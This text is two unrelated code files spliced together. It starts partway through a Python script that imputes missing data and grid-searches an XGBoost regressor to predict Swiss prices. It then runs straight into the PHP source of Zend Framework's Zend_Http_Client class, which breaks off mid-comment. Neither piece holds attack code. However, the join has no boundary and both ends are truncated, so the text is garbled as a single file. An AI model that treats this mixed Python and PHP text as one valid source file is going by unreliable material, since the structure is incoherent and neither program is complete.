for train set train_new = train.dropna(subset=['price_CHF']) num_cols = train_new.columns[1:] imputer = KNNImputer(n_neighbors=5) train_new[num_cols] = imputer.fit_transform(train_new[num_cols]) # Either drop nan rows or impute for test test_new = test.copy() num_cols = test_new.columns[1:] imputer = KNNImputer(n_neighbors=5) test_new[num_cols] = imputer.fit_transform(test_new[num_cols]) # Encode categorical variable (season) train_new["season"] = train_new["season"].astype('category') train_new["season"] = train_new["season"].cat.codes test_new["season"] = test_new["season"].astype('category') test_new["season"] = test_new["season"].cat.codes ind_cols = ['season', 'price_AUS', 'price_CZE', 'price_GER', 'price_ESP', 'price_FRA', 'price_UK', 'price_ITA', 'price_POL', 'price_SVK'] dep_col = 'price_CHF' # Import new data as train/test for modelling X_train = train_new[ind_cols] y_train = train_new[dep_col] X_test = test_new print("X train shape: ", X_train.shape) print("Y train shape: ", y_train.shape) print("X test shape: ", X_test.shape) assert (X_train.shape[1] == X_test.shape[1]) and (X_train.shape[0] == y_train.shape[0]) and (X_test.shape[0] == 100), "Invalid data shape" return X_train, y_train, X_test def modeling_and_prediction(X_train, y_train, X_test): """ This function defines the model, fits training data and then does the prediction with the test data Parameters ---------- X_train: matrix of floats, training input with 10 features y_train: array of floats, training output X_test: matrix of floats: dim = (100, ?), test input with 10 features Returns ---------- y_test: array of floats: dim = (100,), predictions on test set """ #X_train_new, X_valid, y_train_new, y_valid = train_test_split(X_train, y_train, test_size = 0.20, shuffle = True) X_train_new = X_train y_train_new = y_train xgbr = XGBRegressor() xgb_params = {'nthread':[4], #when use hyperthread, xgboost may become slower 'learning_rate': [.03, .05, .07, .01, .007, .09], 'max_depth': [6, 7, 8, 9], 'min_child_weight': [4, 8, 12], 'subsample': [0.7, 0.8, 0.85], 'colsample_bytree': [0.7, 0.8, 0.85] } gsXGB = GridSearchCV(xgbr, xgb_params, cv = 5, scoring='r2', refit=True, n_jobs = 5, verbose=True) gsXGB.fit(X_train, y_train) XGB_best = gsXGB.best_estimator_ print("Best train score: ", gsXGB.best_score_) print("Model params: ", gsXGB.best_params_) y_pred = XGB_best.predict(X_test) assert y_pred.shape == (100,), "Invalid data shape" return y_pred # Main function. You don't have to change this if __name__ == "__main__": # Data loading X_train, y_train, X_test = data_loading() # The function retrieving optimal LR parameters y_pred=modeling_and_prediction(X_train, y_train, X_test) # Save results in the required format dt = pd.DataFrame(y_pred) dt.columns = ['price_CHF'] dt.to_csv('results.csv', index=False) print("\nResults file successfully generated!")
<?php /** * Zend Framework * * LICENSE * * This source file is subject to the new BSD license that is bundled * with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://framework.zend.com/license/new-bsd * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@zend.com so we can send you a copy immediately. * * @category Zend * @package Zend_Http * @subpackage Client * @version $Id: Client.php 23775 2011-03-01 17:25:24Z ralph $ * @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ /** * @see Zend_Loader */ // require_once 'Zend/Loader.php'; /** * @see Zend_Uri */ // require_once 'Zend/Uri.php'; /** * @see Zend_Http_Client_Adapter_Interface */ // require_once 'Zend/Http/Client/Adapter/Interface.php'; /** * @see Zend_Http_Response */ // require_once 'Zend/Http/Response.php'; /** * @see Zend_Http_Response_Stream */ // require_once 'Zend/Http/Response/Stream.php'; /** * Zend_Http_Client is an implementation of an HTTP client in PHP. The client * supports basic features like sending different HTTP requests and handling * redirections, as well as more advanced features like proxy settings, HTTP * authentication and cookie persistence (using a Zend_Http_CookieJar object) * * @todo Implement proxy settings * @category Zend * @package Zend_Http * @subpackage Client * @throws Zend_Http_Client_Exception * @copyright Copyright (c) 2005-2011 Zend Technologies USA Inc. (http://www.zend.com) * @license http://framework.zend.com/license/new-bsd New BSD License */ class Zend_Http_Client { /** * HTTP request methods */ const GET = 'GET'; const POST = 'POST'; const PUT = 'PUT'; const HEAD = 'HEAD'; const DELETE = 'DELETE'; const TRACE = 'TRACE'; const OPTIONS = 'OPTIONS'; const CONNECT = 'CONNECT'; const MERGE = 'MERGE'; /** * Supported HTTP Authentication methods */ const AUTH_BASIC = 'basic'; //const AUTH_DIGEST = 'digest'; <-- not implemented yet /** * HTTP protocol versions */ const HTTP_1 = '1.1'; const HTTP_0 = '1.0'; /** * Content attributes */ const CONTENT_TYPE = 'Content-Type'; const CONTENT_LENGTH = 'Content-Length'; /** * POST data encoding methods */ const ENC_URLENCODED = 'application/x-www-form-urlencoded'; const ENC_FORMDATA = 'multipart/form-data'; /** * Configuration array, set using the constructor or using ::setConfig() * * @var array */ protected $config = array( 'maxredirects' => 5, 'strictredirects' => false, 'useragent' => 'Zend_Http_Client', 'timeout' => 10, 'adapter' => 'Zend_Http_Client_Adapter_Socket', 'httpversion' => self::HTTP_1, 'keepalive' => false, 'storeresponse' => true, 'strict' => true, 'output_stream' => false, 'encodecookies' => true, 'rfc3986_strict' => false ); /** * The adapter used to perform the actual connection to the server * * @var Zend_Http_Client_Adapter_Interface */ protected $adapter = null; /** * Request URI * * @var Zend_Uri_Http */ protected $uri = null; /** * Associative array of request headers * * @var array */ protected $headers = array(); /** * HTTP request method * * @var string */ protected $method = self::GET; /** * Associative array of GET parameters * * @var array */ protected $paramsGet = array(); /** * Associative array of POST parameters * * @var array */ protected $paramsPost = array(); /** * Request body content type (for POST requests) * * @var string */ protected $enctype = null; /** * The raw post data to send. Could be set by setRawData($data, $enctype). * * @var string */ protected $raw_post_data = null; /** * HTTP Authentication settings * * Expected to be an associative array with this structure: * $this->auth = array('user' => 'username', 'password' => 'password', 'type' => 'basic') * Where 'type' should be one of the supported authentication types (see the AUTH_* * constants), for example 'basic' or 'digest'. * * If null, no authentication will be used. * * @var array|null */ protected $auth; /** * File upload arrays (used in POST requests) * * An associative array, where each element is of the format: * 'name' => array('filename.txt', 'text/plain', 'This is the actual file contents') * * @var array */ protected $files = array(); /** * The client's cookie jar * * @var Zend_Http_CookieJar */ protected $cookiejar = null; /** * The last HTTP request sent by the client, as string * * @var string */ protected $last_request = null; /** * The last HTTP response received by the client * * @var Zend_Http_Response */ protected $last_response = null; /** * Redirection counter * * @var int */ protected $redirectCounter = 0; /** * Fileinfo magic database resource * * This variable is populated the first time _detectFileMimeType is called * and is then reused on every call to this method * * @var resource */ static protected $_fileInfoDb = null; /** * Constructor method. Will create a new HTTP client. Accepts the target * URL and optionally configuration array. * * @param Zend_Uri_Http|string $uri * @param array $config Configuration key-value pairs. */ public function __construct($uri = null, $config = null) { if ($uri !== null) { $this->setUri($uri); } if ($config !== null) { $this->setConfig($config); } } /** * Set the URI for the next request * * @param Zend_Uri_Http|string $uri * @return Zend_Http_Client * @throws Zend_Http_Client_Exception */ public function setUri($uri) { if (is_string($uri)) { $uri = Zend_Uri::factory($uri); } if (!$uri instanceof Zend_Uri_Http) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception('Passed parameter is not a valid HTTP URI.'); } // Set auth if username and password has been specified in the uri if ($uri->getUsername() && $uri->getPassword()) { $this->setAuth($uri->getUsername(), $uri->getPassword()); } // We have no ports, set the defaults if (! $uri->getPort()) { $uri->setPort(($uri->getScheme() == 'https' ? 443 : 80)); } $this->uri = $uri; return $this; } /** * Get the URI for the next request * * @param boolean $as_string If true, will return the URI as a string * @return Zend_Uri_Http|string */ public function getUri($as_string = false) { if ($as_string && $this->uri instanceof Zend_Uri_Http) { return $this->uri->__toString(); } else { return $this->uri; } } /** * Set configuration parameters for this HTTP client * * @param Zend_Config | array $config * @return Zend_Http_Client * @throws Zend_Http_Client_Exception */ public function setConfig($config = array()) { if ($config instanceof Zend_Config) { $config = $config->toArray(); } elseif (! is_array($config)) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception('Array or Zend_Config object expected, got ' . gettype($config)); } foreach ($config as $k => $v) { $this->config[strtolower($k)] = $v; } // Pass configuration options to the adapter if it exists if ($this->adapter instanceof Zend_Http_Client_Adapter_Interface) { $this->adapter->setConfig($config); } return $this; } /** * Set the next request's method * * Validated the passed method and sets it. If we have files set for * POST requests, and the new method is not POST, the files are silently * dropped. * * @param string $method * @return Zend_Http_Client * @throws Zend_Http_Client_Exception */ public function setMethod($method = self::GET) { if (! preg_match('/^[^\x00-\x1f\x7f-\xff\(\)<>@,;:\\\\"\/\[\]\?={}\s]+$/', $method)) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("'{$method}' is not a valid HTTP request method."); } if ($method == self::POST && $this->enctype === null) { $this->setEncType(self::ENC_URLENCODED); } $this->method = $method; return $this; } /** * Set one or more request headers * * This function can be used in several ways to set the client's request * headers: * 1. By providing two parameters: $name as the header to set (e.g. 'Host') * and $value as it's value (e.g. 'www.example.com'). * 2. By providing a single header string as the only parameter * e.g. 'Host: www.example.com' * 3. By providing an array of headers as the first parameter * e.g. array('host' => 'www.example.com', 'x-foo: bar'). In This case * the function will call itself recursively for each array item. * * @param string|array $name Header name, full header string ('Header: value') * or an array of headers * @param mixed $value Header value or null * @return Zend_Http_Client * @throws Zend_Http_Client_Exception */ public function setHeaders($name, $value = null) { // If we got an array, go recursive! if (is_array($name)) { foreach ($name as $k => $v) { if (is_string($k)) { $this->setHeaders($k, $v); } else { $this->setHeaders($v, null); } } } else { // Check if $name needs to be split if ($value === null && (strpos($name, ':') > 0)) { list($name, $value) = explode(':', $name, 2); } // Make sure the name is valid if we are in strict mode if ($this->config['strict'] && (! preg_match('/^[a-zA-Z0-9-]+$/', $name))) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("{$name} is not a valid HTTP header name"); } $normalized_name = strtolower($name); // If $value is null or false, unset the header if ($value === null || $value === false) { unset($this->headers[$normalized_name]); // Else, set the header } else { // Header names are stored lowercase internally. if (is_string($value)) { $value = trim($value); } $this->headers[$normalized_name] = array($name, $value); } } return $this; } /** * Get the value of a specific header * * Note that if the header has more than one value, an array * will be returned. * * @param string $key * @return string|array|null The header value or null if it is not set */ public function getHeader($key) { $key = strtolower($key); if (isset($this->headers[$key])) { return $this->headers[$key][1]; } else { return null; } } /** * Set a GET parameter for the request. Wrapper around _setParameter * * @param string|array $name * @param string $value * @return Zend_Http_Client */ public function setParameterGet($name, $value = null) { if (is_array($name)) { foreach ($name as $k => $v) $this->_setParameter('GET', $k, $v); } else { $this->_setParameter('GET', $name, $value); } return $this; } /** * Set a POST parameter for the request. Wrapper around _setParameter * * @param string|array $name * @param string $value * @return Zend_Http_Client */ public function setParameterPost($name, $value = null) { if (is_array($name)) { foreach ($name as $k => $v) $this->_setParameter('POST', $k, $v); } else { $this->_setParameter('POST', $name, $value); } return $this; } /** * Set a GET or POST parameter - used by SetParameterGet and SetParameterPost * * @param string $type GET or POST * @param string $name * @param string $value * @return null */ protected function _setParameter($type, $name, $value) { $parray = array(); $type = strtolower($type); switch ($type) { case 'get': $parray = &$this->paramsGet; break; case 'post': $parray = &$this->paramsPost; break; } if ($value === null) { if (isset($parray[$name])) unset($parray[$name]); } else { $parray[$name] = $value; } } /** * Get the number of redirections done on the last request * * @return int */ public function getRedirectionsCount() { return $this->redirectCounter; } /** * Set HTTP authentication parameters * * $type should be one of the supported types - see the self::AUTH_* * constants. * * To enable authentication: * <code> * $this->setAuth('shahar', 'secret', Zend_Http_Client::AUTH_BASIC); * </code> * * To disable authentication: * <code> * $this->setAuth(false); * </code> * * @see http://www.faqs.org/rfcs/rfc2617.html * @param string|false $user User name or false disable authentication * @param string $password Password * @param string $type Authentication type * @return Zend_Http_Client * @throws Zend_Http_Client_Exception */ public function setAuth($user, $password = '', $type = self::AUTH_BASIC) { // If we got false or null, disable authentication if ($user === false || $user === null) { $this->auth = null; // Clear the auth information in the uri instance as well if ($this->uri instanceof Zend_Uri_Http) { $this->getUri()->setUsername(''); $this->getUri()->setPassword(''); } // Else, set up authentication } else { // Check we got a proper authentication type if (! defined('self::AUTH_' . strtoupper($type))) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("Invalid or not supported authentication type: '$type'"); } $this->auth = array( 'user' => (string) $user, 'password' => (string) $password, 'type' => $type ); } return $this; } /** * Set the HTTP client's cookie jar. * * A cookie jar is an object that holds and maintains cookies across HTTP requests * and responses. * * @param Zend_Http_CookieJar|boolean $cookiejar Existing cookiejar object, true to create a new one, false to disable * @return Zend_Http_Client * @throws Zend_Http_Client_Exception */ public function setCookieJar($cookiejar = true) { if (!class_exists('Zend_Http_CookieJar')) { // require_once 'Zend/Loader.php'; Zend_Loader::loadClass('Zend_Http_CookieJar'); } if ($cookiejar instanceof Zend_Http_CookieJar) { $this->cookiejar = $cookiejar; } elseif ($cookiejar === true) { $this->cookiejar = new Zend_Http_CookieJar(); } elseif (! $cookiejar) { $this->cookiejar = null; } else { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception('Invalid parameter type passed as CookieJar'); } return $this; } /** * Return the current cookie jar or null if none. * * @return Zend_Http_CookieJar|null */ public function getCookieJar() { return $this->cookiejar; } /** * Add a cookie to the request. If the client has no Cookie Jar, the cookies * will be added directly to the headers array as "Cookie" headers. * * @param Zend_Http_Cookie|string $cookie * @param string|null $value If "cookie" is a string, this is the cookie value. * @return Zend_Http_Client * @throws Zend_Http_Client_Exception */ public function setCookie($cookie, $value = null) { if (!class_exists('Zend_Http_Cookie')) { // require_once 'Zend/Loader.php'; Zend_Loader::loadClass('Zend_Http_Cookie'); } if (is_array($cookie)) { foreach ($cookie as $c => $v) { if (is_string($c)) { $this->setCookie($c, $v); } else { $this->setCookie($v); } } return $this; } if ($value !== null && $this->config['encodecookies']) { $value = urlencode($value); } if (isset($this->cookiejar)) { if ($cookie instanceof Zend_Http_Cookie) { $this->cookiejar->addCookie($cookie); } elseif (is_string($cookie) && $value !== null) { $cookie = Zend_Http_Cookie::fromString("{$cookie}={$value}", $this->uri, $this->config['encodecookies']); $this->cookiejar->addCookie($cookie); } } else { if ($cookie instanceof Zend_Http_Cookie) { $name = $cookie->getName(); $value = $cookie->getValue(); $cookie = $name; } if (preg_match("/[=,; \t\r\n\013\014]/", $cookie)) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("Cookie name cannot contain these characters: =,; \t\r\n\013\014 ({$cookie})"); } $value = addslashes($value); if (! isset($this->headers['cookie'])) { $this->headers['cookie'] = array('Cookie', ''); } $this->headers['cookie'][1] .= $cookie . '=' . $value . '; '; } return $this; } /** * Set a file to upload (using a POST request) * * Can be used in two ways: * * 1. $data is null (default): $filename is treated as the name if a local file which * will be read and sent. Will try to guess the content type using mime_content_type(). * 2. $data is set - $filename is sent as the file name, but $data is sent as the file * contents and no file is read from the file system. In this case, you need to * manually set the Content-Type ($ctype) or it will default to * application/octet-stream. * * @param string $filename Name of file to upload, or name to save as * @param string $formname Name of form element to send as * @param string $data Data to send (if null, $filename is read and sent) * @param string $ctype Content type to use (if $data is set and $ctype is * null, will be application/octet-stream) * @return Zend_Http_Client * @throws Zend_Http_Client_Exception */ public function setFileUpload($filename, $formname, $data = null, $ctype = null) { if ($data === null) { if (($data = @file_get_contents($filename)) === false) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("Unable to read file '{$filename}' for upload"); } if (! $ctype) { $ctype = $this->_detectFileMimeType($filename); } } // Force enctype to multipart/form-data $this->setEncType(self::ENC_FORMDATA); $this->files[] = array( 'formname' => $formname, 'filename' => basename($filename), 'ctype' => $ctype, 'data' => $data ); return $this; } /** * Set the encoding type for POST data * * @param string $enctype * @return Zend_Http_Client */ public function setEncType($enctype = self::ENC_URLENCODED) { $this->enctype = $enctype; return $this; } /** * Set the raw (already encoded) POST data. * * This function is here for two reasons: * 1. For advanced user who would like to set their own data, already encoded * 2. For backwards compatibilty: If someone uses the old post($data) method. * this method will be used to set the encoded data. * * $data can also be stream (such as file) from which the data will be read. * * @param string|resource $data * @param string $enctype * @return Zend_Http_Client */ public function setRawData($data, $enctype = null) { $this->raw_post_data = $data; $this->setEncType($enctype); if (is_resource($data)) { // We've got stream data $stat = @fstat($data); if($stat) { $this->setHeaders(self::CONTENT_LENGTH, $stat['size']); } } return $this; } /** * Clear all GET and POST parameters * * Should be used to reset the request parameters if the client is * used for several concurrent requests. * * clearAll parameter controls if we clean just parameters or also * headers and last_* * * @param bool $clearAll Should all data be cleared? * @return Zend_Http_Client */ public function resetParameters($clearAll = false) { // Reset parameter data $this->paramsGet = array(); $this->paramsPost = array(); $this->files = array(); $this->raw_post_data = null; if($clearAll) { $this->headers = array(); $this->last_request = null; $this->last_response = null; } else { // Clear outdated headers if (isset($this->headers[strtolower(self::CONTENT_TYPE)])) { unset($this->headers[strtolower(self::CONTENT_TYPE)]); } if (isset($this->headers[strtolower(self::CONTENT_LENGTH)])) { unset($this->headers[strtolower(self::CONTENT_LENGTH)]); } } return $this; } /** * Get the last HTTP request as string * * @return string */ public function getLastRequest() { return $this->last_request; } /** * Get the last HTTP response received by this client * * If $config['storeresponse'] is set to false, or no response was * stored yet, will return null * * @return Zend_Http_Response or null if none */ public function getLastResponse() { return $this->last_response; } /** * Load the connection adapter * * While this method is not called more than one for a client, it is * seperated from ->request() to preserve logic and readability * * @param Zend_Http_Client_Adapter_Interface|string $adapter * @return null * @throws Zend_Http_Client_Exception */ public function setAdapter($adapter) { if (is_string($adapter)) { if (!class_exists($adapter)) { // require_once 'Zend/Loader.php'; try { Zend_Loader::loadClass($adapter); } catch (Zend_Exception $e) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("Unable to load adapter '$adapter': {$e->getMessage()}", 0, $e); } } $adapter = new $adapter; } if (! $adapter instanceof Zend_Http_Client_Adapter_Interface) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception('Passed adapter is not a HTTP connection adapter'); } $this->adapter = $adapter; $config = $this->config; unset($config['adapter']); $this->adapter->setConfig($config); } /** * Load the connection adapter * * @return Zend_Http_Client_Adapter_Interface $adapter */ public function getAdapter() { return $this->adapter; } /** * Set streaming for received data * * @param string|boolean $streamfile Stream file, true for temp file, false/null for no streaming * @return Zend_Http_Client */ public function setStream($streamfile = true) { $this->setConfig(array("output_stream" => $streamfile)); return $this; } /** * Get status of streaming for received data * @return boolean|string */ public function getStream() { return $this->config["output_stream"]; } /** * Create temporary stream * * @return resource */ protected function _openTempStream() { $this->_stream_name = $this->config['output_stream']; if(!is_string($this->_stream_name)) { // If name is not given, create temp name $this->_stream_name = tempnam(isset($this->config['stream_tmp_dir'])?$this->config['stream_tmp_dir']:sys_get_temp_dir(), 'Zend_Http_Client'); } if (false === ($fp = @fopen($this->_stream_name, "w+b"))) { if ($this->adapter instanceof Zend_Http_Client_Adapter_Interface) { $this->adapter->close(); } // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("Could not open temp file {$this->_stream_name}"); } return $fp; } /** * Send the HTTP request and return an HTTP response object * * @param string $method * @return Zend_Http_Response * @throws Zend_Http_Client_Exception */ public function request($method = null) { if (! $this->uri instanceof Zend_Uri_Http) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception('No valid URI has been passed to the client'); } if ($method) { $this->setMethod($method); } $this->redirectCounter = 0; $response = null; // Make sure the adapter is loaded if ($this->adapter == null) { $this->setAdapter($this->config['adapter']); } // Send the first request. If redirected, continue. do { // Clone the URI and add the additional GET parameters to it $uri = clone $this->uri; if (! empty($this->paramsGet)) { $query = $uri->getQuery(); if (! empty($query)) { $query .= '&'; } $query .= http_build_query($this->paramsGet, null, '&'); if ($this->config['rfc3986_strict']) { $query = str_replace('+', '%20', $query); } $uri->setQuery($query); } $body = $this->_prepareBody(); $headers = $this->_prepareHeaders(); // check that adapter supports streaming before using it if(is_resource($body) && !($this->adapter instanceof Zend_Http_Client_Adapter_Stream)) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception('Adapter does not support streaming'); } // Open the connection, send the request and read the response $this->adapter->connect($uri->getHost(), $uri->getPort(), ($uri->getScheme() == 'https' ? true : false)); if($this->config['output_stream']) { if($this->adapter instanceof Zend_Http_Client_Adapter_Stream) { $stream = $this->_openTempStream(); $this->adapter->setOutputStream($stream); } else { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception('Adapter does not support streaming'); } } $this->last_request = $this->adapter->write($this->method, $uri, $this->config['httpversion'], $headers, $body); $response = $this->adapter->read(); if (! $response) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception('Unable to read response, or response is empty'); } if($this->config['output_stream']) { rewind($stream); // cleanup the adapter $this->adapter->setOutputStream(null); $response = Zend_Http_Response_Stream::fromStream($response, $stream); $response->setStreamName($this->_stream_name); if(!is_string($this->config['output_stream'])) { // we used temp name, will need to clean up $response->setCleanup(true); } } else { $response = Zend_Http_Response::fromString($response); } if ($this->config['storeresponse']) { $this->last_response = $response; } // Load cookies into cookie jar if (isset($this->cookiejar)) { $this->cookiejar->addCookiesFromResponse($response, $uri, $this->config['encodecookies']); } // If we got redirected, look for the Location header if ($response->isRedirect() && ($location = $response->getHeader('location'))) { // Check whether we send the exact same request again, or drop the parameters // and send a GET request if ($response->getStatus() == 303 || ((! $this->config['strictredirects']) && ($response->getStatus() == 302 || $response->getStatus() == 301))) { $this->resetParameters(); $this->setMethod(self::GET); } // If we got a well formed absolute URI if (Zend_Uri_Http::check($location)) { $this->setHeaders('host', null); $this->setUri($location); } else { // Split into path and query and set the query if (strpos($location, '?') !== false) { list($location, $query) = explode('?', $location, 2); } else { $query = ''; } $this->uri->setQuery($query); // Else, if we got just an absolute path, set it if(strpos($location, '/') === 0) { $this->uri->setPath($location); // Else, assume we have a relative path } else { // Get the current path directory, removing any trailing slashes $path = $this->uri->getPath(); $path = rtrim(substr($path, 0, strrpos($path, '/')), "/"); $this->uri->setPath($path . '/' . $location); } } ++$this->redirectCounter; } else { // If we didn't get any location, stop redirecting break; } } while ($this->redirectCounter < $this->config['maxredirects']); return $response; } /** * Prepare the request headers * * @return array */ protected function _prepareHeaders() { $headers = array(); // Set the host header if (! isset($this->headers['host'])) { $host = $this->uri->getHost(); // If the port is not default, add it if (! (($this->uri->getScheme() == 'http' && $this->uri->getPort() == 80) || ($this->uri->getScheme() == 'https' && $this->uri->getPort() == 443))) { $host .= ':' . $this->uri->getPort(); } $headers[] = "Host: {$host}"; } // Set the connection header if (! isset($this->headers['connection'])) { if (! $this->config['keepalive']) { $headers[] = "Connection: close"; } } // Set the Accept-encoding header if not set - depending on whether // zlib is available or not. if (! isset($this->headers['accept-encoding'])) { if (function_exists('gzinflate')) { $headers[] = 'Accept-encoding: gzip, deflate'; } else { $headers[] = 'Accept-encoding: identity'; } } // Set the Content-Type header if (($this->method == self::POST || $this->method == self::PUT) && (! isset($this->headers[strtolower(self::CONTENT_TYPE)]) && isset($this->enctype))) { $headers[] = self::CONTENT_TYPE . ': ' . $this->enctype; } // Set the user agent header if (! isset($this->headers['user-agent']) && isset($this->config['useragent'])) { $headers[] = "User-Agent: {$this->config['useragent']}"; } // Set HTTP authentication if needed if (is_array($this->auth)) { $auth = self::encodeAuthHeader($this->auth['user'], $this->auth['password'], $this->auth['type']); $headers[] = "Authorization: {$auth}"; } // Load cookies from cookie jar if (isset($this->cookiejar)) { $cookstr = $this->cookiejar->getMatchingCookies($this->uri, true, Zend_Http_CookieJar::COOKIE_STRING_CONCAT); if ($cookstr) { $headers[] = "Cookie: {$cookstr}"; } } // Add all other user defined headers foreach ($this->headers as $header) { list($name, $value) = $header; if (is_array($value)) { $value = implode(', ', $value); } $headers[] = "$name: $value"; } return $headers; } /** * Prepare the request body (for POST and PUT requests) * * @return string * @throws Zend_Http_Client_Exception */ protected function _prepareBody() { // According to RFC2616, a TRACE request should not have a body. if ($this->method == self::TRACE) { return ''; } if (isset($this->raw_post_data) && is_resource($this->raw_post_data)) { return $this->raw_post_data; } // If mbstring overloads substr and strlen functions, we have to // override it's internal encoding if (function_exists('mb_internal_encoding') && ((int) ini_get('mbstring.func_overload')) & 2) { $mbIntEnc = mb_internal_encoding(); mb_internal_encoding('ASCII'); } // If we have raw_post_data set, just use it as the body. if (isset($this->raw_post_data)) { $this->setHeaders(self::CONTENT_LENGTH, strlen($this->raw_post_data)); if (isset($mbIntEnc)) { mb_internal_encoding($mbIntEnc); } return $this->raw_post_data; } $body = ''; // If we have files to upload, force enctype to multipart/form-data if (count ($this->files) > 0) { $this->setEncType(self::ENC_FORMDATA); } // If we have POST parameters or files, encode and add them to the body if (count($this->paramsPost) > 0 || count($this->files) > 0) { switch($this->enctype) { case self::ENC_FORMDATA: // Encode body as multipart/form-data $boundary = '---ZENDHTTPCLIENT-' . md5(microtime()); $this->setHeaders(self::CONTENT_TYPE, self::ENC_FORMDATA . "; boundary={$boundary}"); // Get POST parameters and encode them $params = self::_flattenParametersArray($this->paramsPost); foreach ($params as $pp) { $body .= self::encodeFormData($boundary, $pp[0], $pp[1]); } // Encode files foreach ($this->files as $file) { $fhead = array(self::CONTENT_TYPE => $file['ctype']); $body .= self::encodeFormData($boundary, $file['formname'], $file['data'], $file['filename'], $fhead); } $body .= "--{$boundary}--\r\n"; break; case self::ENC_URLENCODED: // Encode body as application/x-www-form-urlencoded $this->setHeaders(self::CONTENT_TYPE, self::ENC_URLENCODED); $body = http_build_query($this->paramsPost, '', '&'); break; default: if (isset($mbIntEnc)) { mb_internal_encoding($mbIntEnc); } /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("Cannot handle content type '{$this->enctype}' automatically." . " Please use Zend_Http_Client::setRawData to send this kind of content."); break; } } // Set the Content-Length if we have a body or if request is POST/PUT if ($body || $this->method == self::POST || $this->method == self::PUT) { $this->setHeaders(self::CONTENT_LENGTH, strlen($body)); } if (isset($mbIntEnc)) { mb_internal_encoding($mbIntEnc); } return $body; } /** * Helper method that gets a possibly multi-level parameters array (get or * post) and flattens it. * * The method returns an array of (key, value) pairs (because keys are not * necessarily unique. If one of the parameters in as array, it will also * add a [] suffix to the key. * * This method is deprecated since Zend Framework 1.9 in favour of * self::_flattenParametersArray() and will be dropped in 2.0 * * @deprecated since 1.9 * * @param array $parray The parameters array * @param bool $urlencode Whether to urlencode the name and value * @return array */ protected function _getParametersRecursive($parray, $urlencode = false) { // Issue a deprecated notice trigger_error("The " . __METHOD__ . " method is deprecated and will be dropped in 2.0.", E_USER_NOTICE); if (! is_array($parray)) { return $parray; } $parameters = array(); foreach ($parray as $name => $value) { if ($urlencode) { $name = urlencode($name); } // If $value is an array, iterate over it if (is_array($value)) { $name .= ($urlencode ? '%5B%5D' : '[]'); foreach ($value as $subval) { if ($urlencode) { $subval = urlencode($subval); } $parameters[] = array($name, $subval); } } else { if ($urlencode) { $value = urlencode($value); } $parameters[] = array($name, $value); } } return $parameters; } /** * Attempt to detect the MIME type of a file using available extensions * * This method will try to detect the MIME type of a file. If the fileinfo * extension is available, it will be used. If not, the mime_magic * extension which is deprected but is still available in many PHP setups * will be tried. * * If neither extension is available, the default application/octet-stream * MIME type will be returned * * @param string $file File path * @return string MIME type */ protected function _detectFileMimeType($file) { $type = null; // First try with fileinfo functions if (function_exists('finfo_open')) { if (self::$_fileInfoDb === null) { self::$_fileInfoDb = @finfo_open(FILEINFO_MIME); } if (self::$_fileInfoDb) { $type = finfo_file(self::$_fileInfoDb, $file); } } elseif (function_exists('mime_content_type')) { $type = mime_content_type($file); } // Fallback to the default application/octet-stream if (! $type) { $type = 'application/octet-stream'; } return $type; } /** * Encode data to a multipart/form-data part suitable for a POST request. * * @param string $boundary * @param string $name * @param mixed $value * @param string $filename * @param array $headers Associative array of optional headers @example ("Content-Transfer-Encoding" => "binary") * @return string */ public static function encodeFormData($boundary, $name, $value, $filename = null, $headers = array()) { $ret = "--{$boundary}\r\n" . 'Content-Disposition: form-data; name="' . $name .'"'; if ($filename) { $ret .= '; filename="' . $filename . '"'; } $ret .= "\r\n"; foreach ($headers as $hname => $hvalue) { $ret .= "{$hname}: {$hvalue}\r\n"; } $ret .= "\r\n"; $ret .= "{$value}\r\n"; return $ret; } /** * Create a HTTP authentication "Authorization:" header according to the * specified user, password and authentication method. * * @see http://www.faqs.org/rfcs/rfc2617.html * @param string $user * @param string $password * @param string $type * @return string * @throws Zend_Http_Client_Exception */ public static function encodeAuthHeader($user, $password, $type = self::AUTH_BASIC) { $authHeader = null; switch ($type) { case self::AUTH_BASIC: // In basic authentication, the user name cannot contain ":" if (strpos($user, ':') !== false) { /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("The user name cannot contain ':' in 'Basic' HTTP authentication"); } $authHeader = 'Basic ' . base64_encode($user . ':' . $password); break; //case self::AUTH_DIGEST: /** * @todo Implement digest authentication */ // break; default: /** @see Zend_Http_Client_Exception */ // require_once 'Zend/Http/Client/Exception.php'; throw new Zend_Http_Client_Exception("Not a supported HTTP authentication type: '$type'"); } return $authHeader; } /** * Convert an array of parameters into a flat array of (key, value) pairs * * Will flatten a potentially multi-dimentional 